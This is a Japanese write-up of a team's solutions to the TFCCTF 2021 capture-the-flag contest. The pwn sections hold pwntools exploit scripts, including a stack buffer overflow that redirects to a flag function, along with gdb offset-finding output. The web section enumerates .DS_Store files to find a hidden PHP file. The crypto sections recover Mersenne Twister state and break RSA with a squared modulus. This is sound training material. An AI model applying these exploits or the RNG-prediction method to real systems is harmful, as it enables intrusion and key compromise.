この大会は2021/11/26 21:00(JST)~2021/11/28 21:00(JST)に開催を
予定していたようですが、2021/11/27 21:00(JST)頃には
DDoSを受けたようで、終了になりました。
今回もチームで参戦。結果は3305点で453チーム中10位でした。
もう1問、nc接続して解く暗号問題がほぼ解けていたのですが、
接続できなかったので、残念でした。
自分で解けた問題をWriteupとして書いておきます。
RULES (MISC)
ルールのページにフラグの例が書いてあった。
TFCCTF{Fl4Gs_f0r_3v3ry0n3!!!^@@$?~:}
WEIRD FRIEND (MISC)
問題文の"quick response"からQRコードと推測する。29×29に整形する。
$ cat qr.txt 11111110011101100100001111111 10000010000110100110101000001 10111010011100111001001011101 10111010101101000000001011101 10111010101010001101001011101 10000010011000101100001000001 11111110101010101010101111111 00000000010010000000100000000 11000111011011010100000011000 00100100001000110001010110101 11000110110110011110010111100 10100101001100110000001011011 10011111011010111011011100111 11010100001011111001011111000 01110110110001111010110100000 00100001000000001011110101100 01000010100101100110000110000 10111101010101011110110111000 11011010111110011101000011001 10011001010100101001111001000 10010010111011000101111111100 00000000101100010011100010011 11111110101010010110101011100 10000010101010000001100011011 10111010010100110001111110000 10111010010110111110110101001 10111010011000011100000111110 10000010100100100001101011101 11111110101111100101000000100 $ python sqrd.py qr.txt TFCCTF{why_ar3_QR_C0d3s_s0-complicated!?o00o0f}
TFCCTF{why_ar3_QR_C0d3s_s0-complicated!?o00o0f}
LOST MY HEAD (MISC)
画像にあるごみ箱の前のストリートの名前、番号を答える。
$ exiftool img.heic ExifTool Version Number : 10.80 File Name : img.heic Directory : . File Size : 945 kB File Modification Date/Time : 2021:11:26 22:32:45+09:00 File Access Date/Time : 2021:11:26 23:47:23+09:00 File Inode Change Date/Time : 2021:11:26 22:32:45+09:00 File Permissions : rwxrwxrwx File Type : HEIC File Type Extension : heic MIME Type : image/heic Major Brand : High Efficiency Image Format HEVC still image (.HEIC) Minor Version : 0.0.0 Compatible Brands : heic, mif1 Handler Type : Picture Primary Item Reference : 31 Exif Byte Order : Big-endian (Motorola, MM) Make : Apple Camera Model Name : iPhone 12 Orientation : Horizontal (normal) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Software : 15.1 Host Computer : iPhone 12 Tile Width : 512 Tile Length : 512 Exposure Time : 1/33 F Number : 1.6 Exposure Program : Program AE ISO : 500 Exif Version : 0232 Date/Time Original : 2021:11:25 17:41:55 Offset Time : +02:00 Offset Time Original : +02:00 Offset Time Digitized : +02:00 Shutter Speed Value : 1/33 Aperture Value : 1.6 Brightness Value : -0.3018521991 Exposure Compensation : 0 Metering Mode : Multi-segment Flash : Off, Did not fire Focal Length : 4.2 mm Subject Area : 2009 1503 2208 1327 Run Time Flags : Valid Run Time Value : 196815055666625 Run Time Scale : 1000000000 Run Time Epoch : 0 Acceleration Vector : -0.0121414857 -0.8878740665 -0.4428345858 Sub Sec Time Original : 077 Sub Sec Time Digitized : 077 Color Space : Uncalibrated Exif Image Width : 4032 Exif Image Height : 3024 Sensing Method : One-chip color area Scene Type : Directly photographed Exposure Mode : Auto White Balance : Auto Focal Length In 35mm Format : 26 mm Lens Info : 1.549999952-4.2mm f/1.6-2.4 Lens Make : Apple Lens Model : iPhone 12 back dual wide camera 4.2mm f/1.6 GPS Latitude Ref : North GPS Longitude Ref : East GPS Altitude Ref : Above Sea Level GPS Speed Ref : km/h GPS Speed : 2.130000115 GPS Img Direction Ref : True North GPS Img Direction : 49.8644981 GPS Dest Bearing Ref : True North GPS Dest Bearing : 49.8644981 GPS Horizontal Positioning Error: 10.24652737 m XMP Toolkit : XMP Core 6.0.0 Create Date : 2021:11:25 17:41:55.077 Creator Tool : 15.1 Modify Date : 2021:11:25 17:41:55 Composite Image : 2 Date Created : 2021:11:25 17:41:55.077 Profile CMM Type : Apple Computer Inc. Profile Version : 4.0.0 Profile Class : Display Device Profile Color Space Data : RGB Profile Connection Space : XYZ Profile Date Time : 2017:07:07 13:22:32 Profile File Signature : acsp Primary Platform : Apple Computer Inc. CMM Flags : Not Embedded, Independent Device Manufacturer : Apple Computer Inc. Device Model : Device Attributes : Reflective, Glossy, Positive, Color Rendering Intent : Perceptual Connection Space Illuminant : 0.9642 1 0.82491 Profile Creator : Apple Computer Inc. Profile ID : ca1a9582257f104d389913d5d1ea1582 Profile Description : Display P3 Profile Copyright : Copyright Apple Inc., 2017 Media White Point : 0.95045 1 1.08905 Red Matrix Column : 0.51512 0.2412 -0.00105 Green Matrix Column : 0.29198 0.69225 0.04189 Blue Matrix Column : 0.1571 0.06657 0.78407 Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract) Chromatic Adaptation : 1.04788 0.02292 -0.0502 0.02959 0.99048 -0.01706 -0.00923 0.01508 0.75168 Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract) Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract) Image Width : 2268 Image Height : 3023 Image Spatial Extent : 2268x3023 Rotation : 0 Image Pixel Depth : 8 8 8 Movie Data Size : 965562 Movie Data Offset : 2491 Aperture : 1.6 GPS Altitude : 340 m Above Sea Level GPS Latitude : 46 deg 46' 50.74" N GPS Longitude : 23 deg 36' 54.26" E GPS Position : 46 deg 46' 50.74" N, 23 deg 36' 54.26" E Image Size : 2268x3023 Megapixels : 6.9 Run Time Since Power Up : 2 days 6:40:15 Scale Factor To 35 mm Equivalent: 6.2 Shutter Speed : 1/33 Create Date : 2021:11:25 17:41:55.077+02:00 Date/Time Original : 2021:11:25 17:41:55.077+02:00 Modify Date : 2021:11:25 17:41:55+02:00 Circle Of Confusion : 0.005 mm Field Of View : 69.4 deg Focal Length : 4.2 mm (35 mm equivalent: 26.0 mm) Hyperfocal Distance : 2.27 m Light Value : 4.1
Google Mapで「46°46’50.74″N 23°36’54.26″E」を検索する。
Strada Simion Mușat 4
TFCCTF{Simion_Musat_4}
SECRET (PWN)
Ghidraでデコンパイルする。
undefined8 main(void) { undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined8 local_10; setvbuf(stdout,(char *)0x0,2,0); puts("Tell me a secret"); local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; fgets((char *)&local_28,0x20,stdin); if (((int)local_28 == -0x55443323) && (local_28._4_4_ == -0x55443323)) { puts("hmm, interesting"); system("cat flag"); putchar(10); } else { puts("I have already heard that one, sorry"); } return 0; }
32bitの整数0xaabbccddの文字列変換したものを2つ入力すればよい。
from pwn import * p = remote('secret.challenge.ctf.thefewchosen.com', 1337) payload = p32(0xaabbccdd) * 2 data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data print payload p.sendline(payload) data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data
実行結果は以下の通り。
[+] Opening connection to secret.challenge.ctf.thefewchosen.com on port 1337: Done == proof-of-work: disabled == Tell me a secret ��\xbb\xaa��\xbb\xaa hmm, interesting TFCCTF{Y0ur_s3cret_1s_s4f3_w1th_m3!} [*] Closed connection to secret.challenge.ctf.thefewchosen.com port 1337
TFCCTF{Y0ur_s3cret_1s_s4f3_w1th_m3!}
SANTA (PWN)
Ghidraでデコンパイルする。
undefined8 main(void) { undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18; setvbuf(stdout,(char *)0x0,2,0); puts("What are you wishing for?\n"); local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_18 = 0; __isoc99_scanf(&DAT_00402028,&local_38); return 0; } void flag(void) { system("cat flag"); return; }
BOFでflag関数をコールする。
$ gdb -q ./santa Reading symbols from ./santa...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/santa What are you wishing for? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7dce560 --> 0x7ffff7dca580 --> 0x7ffff7b978e1 --> 0x636d656d5f5f0043 RDX: 0x7ffff7dcf8d0 --> 0x0 RSI: 0x1 RDI: 0x0 RBP: 0x4147414131414162 (b'bAA1AAGA') RSP: 0x7fffffffde68 ("AcAA2AAHAAdAA3A"...) RIP: 0x4011dd (<main+120>: ret) R8 : 0x0 R9 : 0x0 R10: 0x0 R11: 0x40202a --> 0x403b031b010000 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffdf40 --> 0x1 R14: 0x0 R15: 0x0 [------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x00000000004011dd in main () gdb-peda$ patto AcAA2AAHAAdAA3A AcAA2AAHAAdAA3A found at offset: 56 $ ROPgadget --binary ./santa | grep ": ret" 0x0000000000401016 : ret 0x0000000000401062 : retf 0x2f
from pwn import * if len(sys.argv) == 1: p = remote('santa.challenge.ctf.thefewchosen.com', 1337) else: p = process('./santa') elf = ELF('./santa') flag_addr = elf.symbols['flag'] ret_addr = 0x401016 offset = 56 payload = 'A' * offset payload += p64(ret_addr) payload += p64(flag_addr) data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data print payload p.sendline(payload) data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data
実行結果は以下の通り。
[+] Opening connection to santa.challenge.ctf.thefewchosen.com on port 1337: Done [*] '/mnt/hgfs/Shared/santa' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) == proof-of-work: disabled == What are you wishing for? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16@\x00\x00\x00\x11\x00\x00\x00 TFCCTF{A11_I_w4nt_4_Chr15tm4s_i5_y0uuuu} [*] Closed connection to santa.challenge.ctf.thefewchosen.com port 1337
TFCCTF{A11_I_w4nt_4_Chr15tm4s_i5_y0uuuu}
MACDONALDS (WEB)
サーバはMacBookのようなので、http://server.challenge.ctf.thefewchosen.com:1339/.DS_Storeにアクセスしてみる。
$ wget http://server.challenge.ctf.thefewchosen.com:1339/.DS_Store --2021-11-27 04:47:48-- http://server.challenge.ctf.thefewchosen.com:1339/.DS_Store server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com) をDNSに問いあわせています... 51.124.199.224 server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com)|51.124.199.224|:1339 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 8196 (8.0K) `.DS_Store' に保存中 .DS_Store 100%[==================>] 8.00K --.-KB/s 時間 0s 2021-11-27 04:47:49 (20.2 MB/s) - `.DS_Store' へ保存完了 [8196/8196] $ file .DS_Store .DS_Store: Apple Desktop Services Store
https://w-e-b.site/?act=dsstoreでファイルリストを見てみる。
Found files: Count: 11 index.php secrets secrets secrets secrets secrets secrets secrets style.css style.css.map style.scss
今度はsecretsの下を見てみる。
$ wget http://server.challenge.ctf.thefewchosen.com:1339/secrets/.DS_Store --2021-11-27 04:55:05-- http://server.challenge.ctf.thefewchosen.com:1339/secrets/.DS_Store server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com) をDNSに問いあわせています... 51.124.199.224 server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com)|51.124.199.224|:1339 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 6148 (6.0K) `.DS_Store.1' に保存中 .DS_Store.1 100%[==================>] 6.00K --.-KB/s 時間 0s 2021-11-27 04:55:06 (745 MB/s) - `.DS_Store.1' へ保存完了 [6148/6148]
再びhttps://w-e-b.site/?act=dsstoreでファイルリストを見てみる。
Found files: Count: 1 5973b4cc1d61c110188ee413cddb8652.php
このphpにアクセスしてみる。
$ curl http://server.challenge.ctf.thefewchosen.com:1339/secrets/5973b4cc1d61c110188ee413cddb8652.php TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}
TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}
AAAAA (FORENSICS)
$ binwalk AAAAA DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 2000 0x7D0 PNG image, 1890 x 1417, 8-bit/color RGB, non-interlaced 2062 0x80E Zlib compressed data, default compression
AAAAAファイルの中にpngが含まれている。
$ foremost AAAAA Processing: AAAAA |*|
抽出したPNGファイルにフラグが書いてあった。
TFCCTF{Gr4phic_d35ign_is_my_p455ion}
UH, SUSSY BAKKA (FORENSICS)
USBキーボードの通信らしい。
Leftover Capture Dataの並びを見て推測する。
8バイトのデータで以下の箇所を確認してキーを判定する。
・0バイト目:00->シフトキー押下なし、02->シフトキー押下あり ・2バイト目:対応するキーのコード
from scapy.all import * keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'), 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'), 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'), 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'), 0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'), 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'), 0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?')} packets = rdpcap('chall.pcapng') flag = '' for p in packets: buf = p['Raw'].load if len(buf) == 48 and buf[42] != '\x00': if buf[40] == '\x00': flag += keymap[ord(buf[42])][0] elif buf[40] == '\x02': flag += keymap[ord(buf[42])][1] print flag
TFCCTF{w4lt3r_y0u_su55y_b4k4!Why_ar3_y0u_h1d1ng_und3rn34th_my_d3sk}
SEA LANGUAGE 1 (CRYPTO)
モールス信号。https://morsecode.world/international/translator.htmlでデコードする。
WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?
TFCCTF{WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?}
SEA LANGUAGE? 2 (CRYPTO)
8個の._でコードになっているので、2進数としてデコードする。
with open('sl2.txt', 'r') as f: enc = f.read() enc = enc.replace('\n', '').replace('.', '0').replace('_', '1') enc = enc.split(' ') flag = '' for c in enc: flag += chr(int(c, 2)) print(flag)
TFCCTF{w417_4_m1nu73..._7h15_1s_n07_m0rs3!!!!!r1gh7?}
AM I DOING IT RIGHT? (CRYPTO)
公開鍵を読み取り、nを素因数分解する。
n = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861**2 p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861 phi = p * (p - 1)
あとはそのまま復号する。
from Crypto.PublicKey import RSA from Crypto.Util.number import * import re with open('public.pem', 'r') as f: pub_data = f.read() pubkey = RSA.importKey(pub_data) n = pubkey.n e = pubkey.e p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861 assert n == p ** 2 with open('chall.enc', 'rb') as f: c = bytes_to_long(f.read()) phi = p * (p - 1) d = inverse(e, phi) m = pow(c, d, n) pattern = '(TFCCTF{.*})' flag = long_to_bytes(m) m = re.search(pattern, flag) flag = m.group(1) print(flag)
TFCCTF{1_w0n7_4dm1t_h0w_l0ng_th1s_t00k_4_me...congrats,tho!}
KH5YHLZVJP (CRYPTO)
暗号化の処理概要は以下の通り。
・4回4096ビットランダム整数を改行区切りで書き込む。 ・次の4096ビットランダム整数を文字列として、先頭512バイトとflagをXORをとる。 ・XORの結果をbase64エンコードして出力する。
Mersenne Twisterの特性を使った問題。r[i]をi回目の32bit整数として、32bitずつに区切って考える。
1回目ランダム整数 r[127] r[126] ... r[1] r[0] 2回目ランダム整数 r[255] r[254] ... r[129] r[128] 3回目ランダム整数 r[383] r[382] ... r[257] r[256] 4回目ランダム整数 r[511] r[510] ... r[385] r[384] 次のランダム整数 r[639] r[638] ... r[512] r[513]
Mersenne Twisterの特性から以下の通りの入力・出力の関係がある。
r[0], r[1], r[397] -> r[624] : r[15], r[16], r[412] -> r[639]
この範囲でXORキーを出して、復号する。
#!/usr/bin/python3 import base64 from Crypto.Util.strxor import strxor def untemper(rand): rand ^= rand >> 18; rand ^= (rand << 15) & 0xefc60000; a = rand ^ ((rand << 7) & 0x9d2c5680); b = rand ^ ((a << 7) & 0x9d2c5680); c = rand ^ ((b << 7) & 0x9d2c5680); d = rand ^ ((c << 7) & 0x9d2c5680); rand = rand ^ ((d << 7) & 0x9d2c5680); rand ^= ((rand ^ (rand >> 11)) >> 11); return rand def temper(st): y = st y ^= y >> 11 y ^= (y << 7) & 0x9d2c5680 y ^= (y << 15) & 0xefc60000 y ^= y >> 18 return y with open('c.out', 'r') as f: lines = f.read().splitlines() secret = base64.b64decode(lines[4].split(': ')[1]) st = [] for i in range(4): n = int(lines[i]) for j in range(4096 // 32): st.append(untemper((n >> (j * 32)) & 0xffffffff)) new_st = [-1] * 16 for i in range(16): n = st[i] & 0x80000000 n += st[(i+1) % 624] & 0x7fffffff new_st[i] = st[(i+397) % 624] ^ (n >> 1) if n % 2 != 0: new_st[i] ^= 0x9908b0df key = 0 for i in range(16): key *= 2**32 key += temper(new_st[15 - i]) key *= 2**(4096 - 32 * 16) flag = strxor(secret, str(key)[:512].encode()).decode() flag = flag[:flag.index('}') + 1] print(flag)
TFCCTF{1n53cur3_rng_15_th3-d0wnf4ll-_0f_m4ny_4pp5.f0ll0w_fsociety}